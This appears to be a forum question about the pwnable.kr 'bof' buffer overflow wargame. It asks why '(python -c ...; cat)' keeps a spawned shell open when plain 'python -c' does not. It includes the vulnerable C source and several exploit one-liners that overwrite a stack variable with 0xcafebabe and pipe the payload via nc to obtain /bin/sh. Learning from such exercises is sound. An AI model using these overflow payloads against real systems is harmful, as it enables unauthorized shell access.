title: what is the difference between "python -c 'print' " and "(python -c 'print'; cat)" in linux
body: <p>I usually use "python -c" to pass arguments to C program.</p>
  
  <p>Like this:</p>
  
  <pre><code>$ python -c 'print "a" * 12' | ./program
  </code></pre>
  
  <p>but when I execute a BOF practice program <a href="https://github.com/USCGA/writeups/tree/master/pwnable.kr/bof" rel="nofollow noreferrer">pwnable.kr/bof</a>, the</p>
  
  <pre><code>python -c 'print'
  </code></pre>
  
  <p>and</p>
  
  <pre><code>( python -c 'print'; cat )
  </code></pre>
  
  <p>work differently.</p>
  
  <ol>
  <li><p>I wrote a exploit code like this:</p>
  
  <pre><code>$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000
  </code></pre>
  
  <p>but it didn't work, so I found stack_canary value.</p></li>
  <li><pre><code>$ python -c 'print "a"*32 +"\x0a"+ "a"*19 + "\xbe\xba\xfe\xca" ' | nc pwnable.kr 9000
  </code></pre>
  
  <p>but it still didn't work </p></li>
  <li><p>So I found other people's write up </p>
  
  <pre><code>$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
  </code></pre>
  
  <p>This exploit code successfully executed <code>/bin/sh</code></p></li>
  </ol>
  
  <p>Why this 3. exploit code passes stack canary and what is the difference between <code>python -c 'print'</code>  and  <code>(python -c 'print'; cat)</code> ?</p>
  
  <pre><code>#include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  #include &lt;stdlib.h&gt; 
  void func(int key){
      char overflowme[32];
      printf("overflow me : ");
      gets(overflowme);   // smash me!
      if(key == 0xcafebabe){
          system("/bin/sh");
      }
      else{
          printf("Nah..\n");
      }
     }
   int main(int argc, char* argv[]){
      func(0xdeadbeef);
      return 0;
   } 
  </code></pre>
  
  <p>bof.c source</p>
  
  <pre><code>$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000
  </code></pre>
  
  <p><strong>* stack smashing detected *</strong>: /home/bof/bof terminated
  overflow me :</p>
  
  <p>Nah..</p>
  
  <hr>
  
  <pre><code>$ python -c 'print "a"*32 +"\x0a"' | nc pwnable.kr 9000
  </code></pre>
  
  <p>overflow me :</p>
  
  <p>Nah..</p>
  
  <hr>
  
  <pre><code>$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
  </code></pre>
  
  <p>successfully execute /bin/sh</p>